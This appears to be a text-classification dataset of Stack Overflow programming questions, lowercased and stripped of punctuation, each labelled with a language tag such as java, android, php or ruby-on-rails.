how to display text in different languages in a single list view [android]  i need to display language selection activity where i want to display list of supported languages.       i want to display list of languages in the specific language either  english in english  french in french and japanese in japanese in one <code>listview</code>.      i know how we can create multy language application  using different <code>strings.xml</code> files.<br> but don t have any idea  on how to display <code>listview</code> in multiple languages.     thanks.,android
want to set checkbox s value into database  i want to set my checkbox s value into database.when i checked it  it s value is 1 in database .if not checked it it s value is 0.i created in checkbox but it s values aren t inserted into database. <strong>here is my checkbox</strong>   <pre><code>  バナー非表示：&lt;input id= hide_flg  name= hide_flg   type= checkbox  value= 1  &lt; php if($_post[ hide_flg ]==1) echo  checked ; &gt;  maxlength= 15 &gt;     function update_db($param){          $sql =  update table set          image_name =   .$this -&gt; mysql_escape($param[ image_name ]).            url =             title =             area =            hide_flg=  .(int)$param[ hide_flg ].          where statement;  } </code></pre>,php
a python class contains an instance of another class  which object will be called first  my sample code is below:    <pre><code>class foo:     def __init__(self):         self.age = 0      def __str__(self):         return str(self.age)  class bar:     obj_foo = foo()     print obj_foo      def __init__(self  name):         self.name = name      def __str__(self):         return str(self.name)  obj_bar = bar( sam )   print obj_bar </code></pre>   i want to know the execution flow. can anyone help me to understand,python
mysql no output by date  <a href= https://i.stack.imgur.com/2dnn0.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2dnn0.png  alt=  ></a>i dont know how the solution for this table1    table2[<img src= https://i.stack.imgur.com/7ivtf.png  alt=  >][]    the sql   <pre><code>    select penjualan.tgl_penjualan          sum(total_jual) as totaljual          max(b.total_beli) as totalbeli  from penjualan  join (select tgl_pembelian  sum(total_beli) as total_beli from pembelian       group by tgl_pembelian) as b    on penjualan.tgl_penjualan = b.tgl_pembelian  group by penjualan.tgl_penjualan order by penjualan.no_penjualan desc </code></pre>   why <strong>2017-07-26</strong> no output     the output <a href= https://i.stack.imgur.com/4rkpd.png  rel= nofollow noreferrer >output sql</a>,mysql
in an one to many association  what s the difference between model.new and models.new   i have 3 models  cart  cartitem  product. in each them i defined association like this:    <strong>cart.rb</strong>   <pre><code>has_many :cart_items has_many :products  through: :cart_items  source: :product  def add_product_to_cart(product)   ci = cart_items.new   ci.product = product   ci.quantity = 1   ci.save end </code></pre>   <strong>cart_item.rb</strong>   <pre><code>belongs_to :cart belongs_to :product </code></pre>  <hr>   here s the related columns of cart_item  <strong>db/schema.rb</strong>   <pre><code>create_table  cart_items   force: :cascade do |t|     t.integer   cart_id     t.integer   product_id     t.integer   number       default: 1    .    .    .  end </code></pre>  <hr>   <strong>then i did this in console:</strong>   <pre><code>&gt;&gt; p = product.first &gt;&gt; c = cart.create &gt;&gt; c.add_product_to_cart(p) &gt;&gt; cartitem.last </code></pre>   <strong>my question is:</strong>     in cart.rb the first line of add_product_to_cart(product)    when i use <code>ci = cart_items.new</code>   it works ok  the new cart_item has a <strong>:cart_id = 2</strong>    but when i use <code>ci = cartitem.new</code>   the new cart_item s <strong>:cart_id => nil</strong>  this time the cart_item didn t get a cart_id.    why this happens   in controller.rb  the <code>new</code> method seems to follow a capital class_name.    what s the difference   when should i use <code>cart_items.new</code> and when should i use <code>cartitem.new</code>,ruby-on-rails
sum and average of java array list elements  i have an exception in my java program. when i run this code:   <pre><code>arraylist&lt;integer&gt; sum = new arraylist&lt;integer&gt;(); sum.add(10); sum.add(15); sum.add(20); int total = 0; int avg; for(int i = 0; i &lt; sum.size(); i++) {     total += sum.get(i);     avg = total / sum.size();     system.out.println( the average is:  + avg); } </code></pre>   it prints each <code>arraylist</code> index element then prints the average  but when i run this code:   <pre><code>for(int i = 0; i&lt;sum.size(); i++)     total = total+sum.get(i); avg = total / sum.size(); system.out.println( the average is:  + avg); </code></pre>   it prints the average  but i have not given the bracket of the <code>for</code> loop.    how does the code compare,java
remove number forever from an array  i have a fixed set of numbers in nsarray. example: i have 10 numbers: 1  20  31  33  54 66  77 87 90 99. (these are basically unique serial numbers)    when someone types a number  i want to validate if its one of those numbers and remove it from the list forever. as in  suppose i type 20  it should say  valid  and 20 should be removed. if i type 20 again  it should say   invalid number . i have been able to validate and remove them. however  how do i remove them forever  by  forever   i mean  if 2 people have my app on their phones  and phone1 has already used the code 20  then for phone2  it should say code is invalid.    is there a way i can do this  probably by connecting to the internet,ios
encode two ipv4 addresses in 64 bits  if i have pairs of ip addresses like:   <pre><code>ip1= 168.2.65.33  ip2= 192.4.2.55  </code></pre>   i would like to encode each pair as a 64 bit value so that the first 32 bits is the first ip address and the second is the second ip address. i would then like to be able to save the 64 bit value to a file in such a way that i can read it back in and recover the two ip addresses.    the aim is save space.    is it possible to do this in python,python
generate a self working exp system for levels  i am making a small game in c# and i can t figure out how to make a self working exp system that gets the exp you need to level up by the players current level.    this is how i want it to work.   <pre><code>1 = 75 2 = 75 + 75 = 150 3 = 75 + 75 + 75 + 75 = 300 4 = 75 + 75 + 75 + 75 + 75 + 75 + 75 = 525 </code></pre>   how would i go about doing this,c#
use a field or override a method to define a value of an abstract class  when setting a value of a parent class  which way is more preferable:    set a field   <pre><code>public abstract class weapon {     final integer damage; } public class knive extends weapon {     public knive(){         damage = 100;     } } </code></pre>   override a method   <pre><code>public abstract class weapon {     public abstract int getdamage(); } public class knive extends weapon {     @override     public int getdamage(){         return 100;     } } </code></pre>   or is it just personal taste,java
definition versus initialization of a variable  i believe i am right  but just making sure <code>int c;</code> declares <code>c</code>  <code>c = 5;</code> initializes <code>c</code> to be equal to <code>5</code>  and  <code>int c = 5;</code> both declares and initializes <code>c</code>. am i correct on all of these  and initialization is just the first value the variable is set to correct,c
notification in rails  everytime a registerd user updates their profile  i would like the administrator to get an email notification about this.    in drupal notification module will do this need    how can this be done in rails,ruby-on-rails
rails multiple 3rd party api requests  i have a rails action that is very slow relative to the rest of my app.  it requests data from two different sources.  once that data is pulled in from each source  i then loop through the data and compare with the current database  creating records if a similar record does not exist.    i have a few models below.  song models generally have an rdiometa or a soundcloudmeta  each of which contains information pulled from rdio and soundcloud respectively.    def search     @search = []   <pre><code>rdio_client  = rdioapi.new consumer_key:  consumer_key   consumer_secret:  consumer_secret  rdio_results = rdio_client.search(query: params[:query]  types:  track   count: 25)  sc_client  = soundcloud.new client_id:  client_id  sc_results = sc_client.get( /tracks   q:  %#{params[:query]}% )  rdio_results.results.each do |result|   song = song.includes(:rdio_meta).where(name: result[:name]  artist: result[:artist]).first_or_initialize do |song|     rdio_meta = rdiometa.new url: result[:key]  duration: result[:duration]     song.rdio_meta = rdio_meta   end   song.save   @search &lt;&lt; song end  sc_results.each do |result|   song = song.includes(:soundcloud_meta).where(name: result[:title]  artist: result[:user][:username]).first_or_initialize do |song|     rdio_meta = soundcloudmeta.new url: result[:stream_url]  duration: result[:duration]     song.rdio_meta = rdio_meta   end   song.save   @search &lt;&lt; song end  render json: @search  root:  songs  </code></pre>   end    my question is two-fold.  one  i m used to javascript and async requests/promises  so what s the best way to approach something that could be asynchronous in ruby/rails   two  i did a massive refactoring of the original code  but i think it could be better.  are there any optimizations i can do on the code,ruby-on-rails
c#: check which project is calling class library  i have two projects which is calling a class library. can i in my class library check which project is calling the library,c#
add framework in ios application from outside of xcode  i have add some framework like  google facebook in my  ios project and when i compress the project code file and take the code any other system then show that framework is not available so can you tell me how can i add framework in ios application,ios
having trouble fixing key pressed event function  below is a code i m having trouble fixing a bug with. i m not able to move objects using arrow key properly. whenever i use arrow keys to move the object on screen  it moves a few pixels and then stops. keys stop working. i m using eclipse compiler. help would be greatly appreciated. thanks!   <pre><code>import acm.program.*; import acm.graphics.*; import java.awt.*; import java.awt.event.mouseevent; import java.awt.event.actionevent; import java.awt.event.keyevent; import javax.swing.*;  public class ch10_ex06_draw_star_additions extends graphicsprogram {     public void init ()     {         slider  = new jslider (1  150  30);          box = new jcombobox  ();         box.additem         ( white );         box.additem         ( black );         box.additem         ( red );         box.additem         ( green );         box.additem         ( blue );         box.additem         ( orange );         box.additem         ( yellow );         box.seteditable     (false);         box.setselecteditem ( white );          textfield = new jtextfield (20);         textfield.addactionlistener (this);          add (new jlabel  ( small )  south);         add (slider                 south);         add (new jlabel  ( large )  south);         add (new jbutton ( clear )  south);         add (new jlabel  ( text )   south);         add (textfield              south);         add (box                    south);          setbackground (color.light_gray);          addactionlisteners  ();         addkeylisteners     ();         addmouselisteners   ();     }      public void keypressed   (keyevent e)     {         if (e.getkeycode() == keyevent.vk_delete)             removeall ();          gobj = getelementat (x  y);          if (gobj != null)         {             switch (e.getkeycode ())             {             case keyevent.vk_up:        gobj.move(0  -5);   break;             case keyevent.vk_down:      gobj.move(0  +5);   break;             case keyevent.vk_left:      gobj.move(-5  0);   break;             case keyevent.vk_right:     gobj.move(+5  0);   break;             }         }     }      public void mouseclicked (mouseevent e)     {         x = e.getx();         y = e.gety();          star = new gstar    (slider.getvalue());         star.setfilled      (true);         star.setcolor       (getcurrentcolor());         star.setfillcolor   (getcurrentcolor());         add (star  e.getx()  e.gety());     }      public void mousepressed (mouseevent e)     {         point   = new gpoint    (e.getpoint());         gobj    = getelementat  (point);     }      public void mousedragged (mouseevent e)     {         if (gobj != null)         {             gobj.move (e.getx() - point.getx()  e.gety() - point.gety());             point = new gpoint (e.getpoint());         }     }      public void actionperformed (actionevent e)     {         if (e.getactioncommand() ==  clear )              removeall ();          if (e.getsource() == textfield)         {             glabel label = new glabel (textfield.gettext());             string str =  arial-  + slider.getvalue() / 2;             label.setcolor (getcurrentcolor());             label.setfont(str);             add (label   x + star.getwidth()    y + star.getheight()/4);         }     }      private color getcurrentcolor()     {         string name = (string) box.getselecteditem();              if (name ==  red )     return color.red;         else if (name ==  green )   return color.green;         else if (name ==  blue )    return color.blue;         else if (name ==  orange )  return color.orange;         else if (name ==  yellow )  return color.yellow;         else if (name ==  black )   return color.black;         else                        return color.white;     }      private jtextfield  textfield;     private jslider     slider;     private jcombobox   box;     private gobject     gobj;     private gpoint      point;     private gstar       star;     private int         x  y; } </code></pre>,java
trouble setting flash messages in rails  i ve forked a project on github  that has some flash messages. for example  with twitter sign in the project i forked comes with this red error message for failed sign in   <pre><code>  flash[:error] =  sign in with twitter failed  </code></pre>   i ve also found the class in the css that makes it red. i want to use this error message elsewhere but i m having problems.     for example  when i tried to do this   <pre><code>redirect_to show_path  flash[:error] =&gt;  twitter s saying you re trying to post the same message twice  </code></pre>   it s simply not posting the message to twitter and giving no error message. when i change <code>=&gt;</code> to <code>=</code> it breaks the whole application (when i try to post twice) giving me this message:   <pre><code> can t convert symbol into string </code></pre>   even stranger (to me)  i have no problem with :notice. this was fine.   <pre><code>redirect_to show_path  :notice =&gt;  your tweet was posted!  </code></pre>   can anyone explain why this is happening   <a href= https://github.com/sferik/sign-in-with-twitter  rel= nofollow >this is the project on github</a>.,ruby-on-rails
using batterystatsimpl internal class via reflection in android  i am trying to get a list of running applications and the amount of battery used by each of them. i have google for a long time but didnt come up with a solution. however there have been a few references on the powerprofile  powerusagesummary internal classes.     i used them through reflection technique but didnt get what i was looking for. powerusagesummary shows the same details as you can see by going to device settings->applications->battery use(this is how it can be seen in a samsund device).    then i used powerprofile class but i got only the ma of current utilized by wifi  audio  video gps  bluetooth etc(the ma values dont change so often. i am not sure if the values are correct). another reference was the batterystatsimpl class. i tested this class but the values are 0 always. still i am looking for the list of running applications and the amount of battery used by each of them. any help is appreciated.    thanks     here is the sample code that i tried for batterystatsimpl class.   <pre><code>        string battery_profile_class =  com.android.internal.os.batterystatsimpl ;         object mbatteryprofile = class.forname(battery_profile_class).getconstructor().newinstance();         method batterymeth = class.forname(battery_profile_class).getmethod( getbatteryuptime   long.class);         object arglist1[] = new object[1];         arglist1[0] = system.currenttimemillis();         // this is to calculate the batteryuptime since the current time.         long batteryuptime = (long) batterymeth.invoke(mbatteryprofile  arglist1);          method dischargemeth = class.forname(battery_profile_class).getmethod( getdischargestartlevel );         // this is to calculate the dischargetime of the device battery         integer dischargetime = (integer) dischargemeth.invoke(mbatteryprofile); </code></pre>,android
converting char to unsigned char  how the conversion works   for example: scope of char[-128  127]  scope of unsigned char[0  255]   <pre><code>char x = -128; unsigned char y = static_cast&lt;unsigned char&gt;(x); cout&lt;&lt;y; //128 </code></pre>   why not 0,c++
case statement in sql   i have table called employee.employee table has <code>id name dob doj designation columns</code>.in sp want to show like this when input para s value is 1 select dob in select clause as well as in where clause else use doj here is my query.i am able to manage in select clause but not in where clause.   <pre><code>select name designation  case when @value = 1 then dob else doj end  from employee where dob &gt;= 06/01/2015  and dob &lt; dateadd(dd 1  06/01/2015 ) </code></pre>   if @val is other than 1 want to use doj in select and where clause.,sql
having trouble reading my text file to my array and i can t get my balance button to work. beginner programmer here...could use some direction  i m having trouble reading my text file to my array and getting the  balance button  to work properly. i can type in the pin number from the array  but i can t do anything with the account (i.e. view balance  withdraw  etc...).     <strong>below is my account.data text file:</strong>    <pre><code>7623  s  jones  phyllis  2000.00  0 7621  c  jones  phyllis  1200.00  2 8729  s  smith  cletus  1000.00  1 8728  c  smith  cletus  1700.00  0 7321  s  booth  betty  4500.00  2 3242  c  seybright  sam  4612.00  0 3241  s  seybright  sam  100.00  3 </code></pre>   <strong>the code:</strong>   <pre><code>package cmis_242_project2_hamilton;  import javax.swing.joptionpane;  import javax.swing.jframe;  import javax.swing.jpanel;  import javax.swing.jbutton;  import javax.swing.jlabel;  import javax.swing.jtextfield;  import javax.swing.jscrollpane;  import java.awt.dimension;  import java.awt.color;  import java.awt.font;  import java.awt.flowlayout;  import java.awt.event.actionlistener;  import java.awt.event.actionevent;  import java.text.numberformat;  import java.util.arraylist;  import java.io.bufferedreader;  import java.io.filereader;  /**  *  *  *  * @author hamil  */     public class cmis_242_project2_hamilton {      public static class atm {      // these must be declared here to be seen in the action classes         jframe welcomeframe;          jframe mainframe;          jframe inputframe;          jtextfield numberfield;          jtextfield pinfield;          jlabel verifylabel;          jlabel outlabel;          jbutton depositbutton;          jbutton withdrawbutton;          jbutton makedepositbutton;          jbutton makewithdrawalbutton;          bankaccount theaccount;          numberformat currency;          double theamount;          int width;          int height;          arraylist accounts;          public atm() {              int xlocation = 200;              int ylocation = 200;              // define frames             mainframe = new jframe( atm );              welcomeframe = new jframe( welcome to the atm );              inputframe = new jframe( enter amount );              mainframe.setdefaultcloseoperation(jframe.exit_on_close);              welcomeframe.setdefaultcloseoperation(jframe.exit_on_close);              inputframe.setdefaultcloseoperation(jframe.exit_on_close);              welcomeframe.setlocation(xlocation  ylocation);              mainframe.setlocation(xlocation  ylocation);              inputframe.setlocation(xlocation  ylocation);              jpanel welcomepanel = new jpanel();              welcomepanel.setlayout(new flowlayout(flowlayout.center  200  20));              welcomepanel.setpreferredsize(new dimension(400  200));              jlabel pinlabel = new jlabel( enter pin and press next );              pinfield = new jtextfield(10);              pinfield.addactionlistener(new pinfieldaction());              welcomepanel.add(pinlabel);              welcomepanel.add(pinfield);              jbutton nextbutton = new jbutton( next );              nextbutton.addactionlistener(new nextbuttonaction());             welcomepanel.add(nextbutton);             // the main frame panel             jpanel thepanel = new jpanel();              width = 500;              height = 400;              thepanel.setpreferredsize(new dimension(width  height));              thepanel.setbackground(color.light_gray);              thepanel.setlayout(new flowlayout(flowlayout.center  500  20));              jpanel inputpanel = new jpanel();              jlabel numberlabel = new jlabel( type amount and press enter );              numberfield = new jtextfield(10);              numberfield.addactionlistener(new numberfieldaction());              inputpanel.add(numberlabel);              inputpanel.add(numberfield);              jpanel verifypanel = new jpanel();              verifylabel = new jlabel( no amount entered );              verifypanel.add(verifylabel);              jpanel choosepanel = new jpanel();              jlabel chooselabel = new jlabel( choose transaction );              choosepanel.add(chooselabel);              jpanel buttonpanel = new jpanel();              jpanel makebuttonpanel = new jpanel();              jbutton balancebutton = new jbutton( balance );              balancebutton.addactionlistener(new balancebuttonaction());              buttonpanel.add(balancebutton);              depositbutton = new jbutton( deposit );              depositbutton.addactionlistener(new depositbuttonaction());              buttonpanel.add(depositbutton);              withdrawbutton = new jbutton( withdraw );              withdrawbutton.addactionlistener(new withdrawbuttonaction());              buttonpanel.add(withdrawbutton);              makedepositbutton = new jbutton( make deposit );              makedepositbutton.addactionlistener(new makedepositbuttonaction());              makebuttonpanel.add(makedepositbutton);              makewithdrawalbutton = new jbutton( make withdrawal );              makewithdrawalbutton.addactionlistener(new              makewithdrawalbuttonaction());              makebuttonpanel.add(makewithdrawalbutton);              jpanel finishbuttonpanel = new jpanel();              jbutton finishbutton = new jbutton( finish );              finishbutton.addactionlistener(new finishbuttonaction());              finishbuttonpanel.add(finishbutton);              jpanel outpanel = new jpanel();              outpanel.setbackground(color.light_gray);              outlabel = new jlabel(  );              outlabel.setforeground(color.red);              outlabel.setfont(new font( courier   font.bold  20));              outpanel.add(outlabel);              thepanel.add(choosepanel);              thepanel.add(verifypanel);              thepanel.add(buttonpanel);              thepanel.add(makebuttonpanel);              thepanel.add(finishbuttonpanel);              thepanel.add(outpanel);              welcomeframe.getcontentpane().add(welcomepanel);              welcomeframe.pack();              welcomeframe.setvisible(true);              mainframe.getcontentpane().add(thepanel);              mainframe.pack();              inputframe.getcontentpane().add(inputpanel);              inputframe.pack();              currency = numberformat.getcurrencyinstance();               // load the data base             accounts = getaccountdatafromfile( accounts.data );          } // end constructor          arraylist getaccountdatafromfile(string filename) {              try {                  arraylist accounts = new arraylist();                 double s = 0;                 double c = 0;                  // all numbers in array are account numbers                 double[][] array = {{7623}                  {7621}                  {8729}                  {8728}                  {7321}                  {3242}                  {3241}                  };                  return accounts;              } catch (exception e) {                  joptionpane.showmessagedialog(null   file error. program                  aborted );                  system.exit(0);                  return accounts;              } // end try/catch          } // end getaccountdatafromfile          class pinfieldaction implements actionlistener {              public void actionperformed(actionevent e) {            // get the pin number  verify that it is legal           // and then get the account from the arraylist accounts            // and remove the following statement                 theaccount = new bankaccount(1000000);                  welcomeframe.setvisible(false);                  mainframe.setvisible(true);                  pinfield.settext(  );              } // end actionperformed          } // end pinfieldaction          class numberfieldaction implements actionlistener {              public void actionperformed(actionevent e) {                  string input = numberfield.gettext();                  if (!isinputok(input)) {                      joptionpane.showmessagedialog(null   invalid input. try                   again. );                      numberfield.requestfocus();                      return;                  } // end if                  theamount = double.parsedouble(input);                  welcomeframe.setvisible(false);                  inputframe.setvisible(false);                  mainframe.setvisible(true);                  verifylabel.settext( amount entered was   +                 currency.format(theamount));              } // end actionperformed          } // end numberbuttonaction          class balancebuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  numberfield.requestfocus();                  drawbalance(outlabel  theaccount);              } // end actionperformed          } // end balancebuttonaction          class depositbuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  inputframe.setvisible(true);                  numberfield.settext(  );                  numberfield.requestfocus();                  withdrawbutton.setenabled(false);                  makewithdrawalbutton.setenabled(false);              } // end actionperformed          } // end depositbuttonaction          class withdrawbuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  inputframe.setvisible(true);                  numberfield.settext(  );                  numberfield.requestfocus();                  depositbutton.setenabled(false);                  makedepositbutton.setenabled(false);              } // end actionperformed          } // end withdrawbuttonaction          class makedepositbuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  makedepositbutton.setenabled(true);                 withdrawbutton.setenabled(true);                  makewithdrawalbutton.setenabled(true);              } // end actionperformed          } // end makedepositbuttonaction          class makewithdrawalbuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  makewithdrawalbutton.setenabled(true);                 depositbutton.setenabled(true);                  makedepositbutton.setenabled(true);              } // end actionperformed          } // end makewithdrawalbuttonaction          class nextbuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  pinfield.settext(  );                  pinfield.requestfocus(true);                  welcomeframe.setvisible(false);                  mainframe.setvisible(true);              } // end actionperformed          } // end nextbuttonaction          class finishbuttonaction implements actionlistener {              public void actionperformed(actionevent e) {                  outlabel.settext(  );                  mainframe.setvisible(false);                  inputframe.setvisible(false);                  welcomeframe.setvisible(true);                  pinfield.requestfocus();                  depositbutton.setenabled(true);                  withdrawbutton.setenabled(true);              } // end actionperformed          } // end finishbuttonaction          boolean isinputok(string input) {              input = input.trim();              if (input.equals(  )) {                  return false;              } // end if              int decimalindex = input.indexof( . );              if (decimalindex == -1) {                  return isalldigits(input);              } else {                  string first = input.substring(0  decimalindex);                  string last = input.substring(decimalindex + 1);                  boolean firstandlastalldigits = isalldigits(first) &amp;&amp;                  isalldigits(last);                  boolean lastlengthok = last.length() == 2;                  return firstandlastalldigits &amp;&amp; lastlengthok;              } // end if          } // end is inputok          boolean isalldigits(string input) {              int index = 0;              while (index &lt; input.length()) {                  if (!character.isdigit(input.charat(index))) {                      return false;                  } // end if                  index++;              } // end while              return true;          } // end isalldigits          boolean isamountok(double amount) {              if (amount &lt;= 0.0) {                  joptionpane.showmessagedialog(null   enter an positive amount                 first );                  return false;              } // end if              return true;          } // isamountok          void drawbalance(jlabel outlabel  bankaccount account) {              outlabel.settext( the balance is   +           currency.format(theaccount.getbalance()) +  . );          } // end drawbalance          public static void main(string[] args) {              new atm();          } // end main      } // end atm } </code></pre>,java
how can i populate a local static html document with with data from an external source   ok  so please forgive me if this is a tired question from a born again newbie... i have created an html document that i plan to use as a template for items which will then be inserted into ebay listings. all of the item details will be stored in a database of some sort. (most likely a csv file output from excel)    my question is this and i need some direction from the crowd: what is the best method to extract the info from the data source  find the appropriate place-holder in the html and place the data in     i am really hoping to be able to use some sort of routine to do this that can run on my pc and output the html files.  i ve been beating my head against the internet for a couple of evenings trying to find something  but all of the solutions i have found are dynamic in nature.  i need something that runs locally before the html is pushed to ebay. right now i am looking for the right trailhead for my journey.  <em>what do i need to learn next </em>    i ve placed the draft of the <a href= https://github.com/colost8rams/listing-template.git  rel= nofollow >html document</a> on github if you would like further reference. (note  still a work in progress!) the info that would be transferred in would be the image url s in the gallery and the item details on the tabs on the right.,html
no such column: user_id error rails pagination of friends  i have a user model that has many friends. i m trying to paginate the friends but i m receiving a no such column error. the solution seems to be answered here <a href= https://stackoverflow.com/questions/10745671/rails-sqlexception-no-such-column >rails  sqlexception: no such column</a> but i just don t  understand that answer enough.    can someone please help me explan what is wrong and how to fix it      in my home.html.erb   <pre><code>&lt;div class= span8 &gt;     &lt;ol class= friends &gt;             &lt;%= render @friends %&gt;         &lt;/ol&gt;         &lt;%= will_paginate @friends %&gt; &lt;/div&gt; </code></pre>   in my _friends partial:   <pre><code>&lt;li&gt;     &lt;span class= friendname &gt;&lt;%= friend.name %&gt;&lt;/span&gt;     &lt;span class= friendid &gt;&lt;%= friend.friendid %&gt;&lt;/span&gt; &lt;/li&gt; </code></pre>   controller   <pre><code>def home     @friends = current_user.friends.paginate(page: params[:page]) end </code></pre>   current_user is defined in a sessions_helper as:   <pre><code>def current_user     @current_user ||= user.find(session[:user_id]) if session[:user_id] end </code></pre>   friend model   <pre><code>class friend &lt; activerecord::base     attr_accessible :friendid  :name  :uid     belongs_to :user     validates :uid  presence: true     validates :friendid  presence: true  uniqueness: true end </code></pre>   user model   <pre><code>class user &lt; activerecord::base    attr_accessible :name  :provider  :uid    has_many :friends  dependent: :destroy    validates :uid  presence:true  uniqueness:true    .    .    . end </code></pre>,ruby-on-rails
draggable element should stay in the stop moving point when page is refreshed  when the element (id= draggable ) stop dragging  the position of the element will be sent to the database via  mapdemo.php . currently the element will go back to the start moving point  if refreshing the page . what i want to do is the element should stay in the stop moving point when page is refreshed.     below is my code  what change should i do to solve this problem  thanks for any help.   <pre><code>&lt;script type= text/javascript &gt;         $(function() {             $(  #draggable  ).draggable({                     stop: function(){                           var position = $(this).position();                           $.ajax({                                   type: post                                     url: mapdemo.php                                     data: { top: position.left  left: position.top }                                    cache:false                                  });                          }                     });         });         &lt;/script&gt;              &lt;div class= demo &gt;                 &lt;div id= draggable  class= ui-widget-content &gt;                     &lt;p&gt;drag&lt;/p&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>,jquery
how to resize uitableview inside a uiviewcontroller  i have added a <code>uilabel</code> and <code>uitableview</code> inside a <code>uiviewcontroller</code> using interface builder and sized the <code>tableview</code> below the label. i have also hooked the <code>uitableview</code> to a property but on running it on both device and simulator the <code>tableview</code> covers the entire <code>uiviewcontroller</code> hiding the <code>uilabel</code>. also i have checked the property is hooked up correctly because i am able to change the background color of the <code>uitableview</code> through it.  please anyone here can help me fix it. thanks   <pre><code>-(void) viewwillappear:(bool)animated {     [super viewwillappear:animated];     self.ptableview.frame = cgrectmake(0  50  320  100);        // doesn t work      self.ptableview.backgroundcolor = [uicolor redcolor];       // works } </code></pre>,iphone
how to fetch all google sheet file list using android progrmatically  i want to display a list of google spreadsheet of user according to user and select a file then parse data in json format to use in api.,android
differences among savefiledialog variants   as far as i can tell there are <strong>at least three different savefiledialog classes</strong> in .net:   <ul> <li> <a href= https://msdn.microsoft.com/en-us/library/system.windows.forms.savefiledialog(v=vs.110).aspx  rel= nofollow noreferrer >system.windows.forms.<em>savefiledialog</em></a> </li> <li> <a href= https://msdn.microsoft.com/en-us/library/microsoft.win32.savefiledialog.aspx  rel= nofollow noreferrer >microsoft.win32.<em>savefiledialog</em></a> </li> <li> <a href= https://docs.microsoft.com/en-us/previous-versions/windows/silverlight/dotnet-windows-silverlight/dd459509(v=vs.95)  rel= nofollow noreferrer >system.windows.controls.<em>savefiledialog</em></a> </li> </ul>   why are there so many  are there any non-obvious differences between them such as when you are supposed to use each of them      they do not appear to be interchangeable: the first two have similar lists of methods &amp; properties  the third seems considerably different.    note - i can see that the last is for silverlight (not that the namespace makes that clear in any way) but i m not sure if that means it is either deprecated or not for use elsewhere.,.net
jquery .click() event not firing on link created with .load()  the <code>.click()</code> event is firing if the menu is outside the <code>id= content </code> (static html) but not working when the menu is inside the <code>id= content </code> (dynamic html using <code>.load()</code>).    click function:     <pre><code>$(document).ready(function () {     $( a.type ).click(function () {         var type = $(this).data( id );         $( #content ).load( content.php   + type);     }); }); </code></pre>   menu link on header (click event works here):     <pre><code>&lt;li&gt;&lt;a data-id= 1  class= type &gt;cars&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a data-id= 2  class= type &gt;houses&lt;/a&gt;&lt;/li&gt; </code></pre>   <code>.load()</code> fills this (click event not working here):     <pre><code>&lt;div id= content &gt;&lt;/div&gt; </code></pre>,jquery
service and view  can i get a view by calling findidby(r.id.x) in a service  thanks,android
uiwebview loader on iphone  this code works fine   its show activityindicator loading and hide after loading but lets say <strong>if its on loading stage and then i go back then my apps quit</strong>   so how to avoid this    if i go back quickly withiut site fully loaded then it quits ( i think activityindicator is culprit)    **   <pre><code>- (void)webviewdidstartload:(uiwebview *)webview {     [activityindicator startanimating];    // mylabel.hidden = false; } - (void)webviewdidfinishload:(uiwebview *)webview {     [activityindicator stopanimating];     activityindicator.hideswhenstopped=true;     //mylabel.hidden = true; } // implement viewdidload to do additional setup after loading the view  typically from a nib. - (void)viewdidload {      self.title=@ kkh website ;      [super viewdidload];     nsurl *requesturl = [nsurl urlwithstring:@ http://www./index.html ];     nsurlrequest *requestobj = [nsurlrequest requestwithurl:requesturl];     [aww loadrequest:requestobj];      } </code></pre>   ** updates    <strong>if i link uiwebview delegate to fileowner then its creating isuee   but i need delegate also since i want to show loading</strong>,iphone
how to make my codes right. using td s ad tr tags  i created some codes here. when i tried it on my webpage the rows (the options (e.g. mendel  darwin  funny facts)) my problem is that it is not equal. please help me. codes below. the widths are not equal.   <pre><code>&lt;html&gt; &lt;head&gt;&lt;title&gt;darmenteur&lt;/title&gt;&lt;/head&gt; &lt;body background= bg.jpg &gt; &lt;table width= 100%  align= center &gt; &lt;tr&gt; &lt;td colspan= 5 &gt;&lt;br&gt; &lt;h1 align= center  style= font-family:imagination station;color:#ffffff;font-size:54pt &gt;&lt;marquee direction= left  behaviour= scroll &gt;darmenteur&lt;/marquee&gt;&lt;/h1&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td style= width:20%; &gt; &lt;a href= information.html  target= t1 &gt;&lt;p align= center  style= font-family:imagination station ;font-size:14pt;color:white; &gt;darwin&lt;/p&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style= width:20%; &gt; &lt;a href= gallery2.html  target= t1 &gt;&lt;p align= center  style= font-family:imagination station;font-size:15pt;color:white; &gt;mendel&lt;*/p&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style= width:10%; &gt; &lt;a href= quotes12.html  target= t1 &gt;&lt;p align= center  style= font-family:imagination station;font-size:15pt;color:white; &gt;pasteur&lt;/p&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style= width:20%; &gt; &lt;a href= hi.html  target= t1 &gt;&lt;p align= center  style= font-family:imagination station;font-size:15pt;color:white; &gt;mini quiz&lt;/p&gt;&lt;/a&gt;&lt;/td&gt;  &lt;td style= width:20%; &gt; &lt;a href= hi.html  target= t1 &gt;&lt;p align= center  style= font-family:imagination station;font-size:15pt;color:white; &gt;funny facts&lt;/p&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;  &lt;tr&gt; &lt;td colspan= 3  style= width:400px; &gt; &lt;iframe src= info.html  width= 1320px  height= 1000  name= t1  id= t1 &gt; &lt;p&gt; iframes are not supported by your browser.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;  &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; &lt;/html&gt; </code></pre>,html
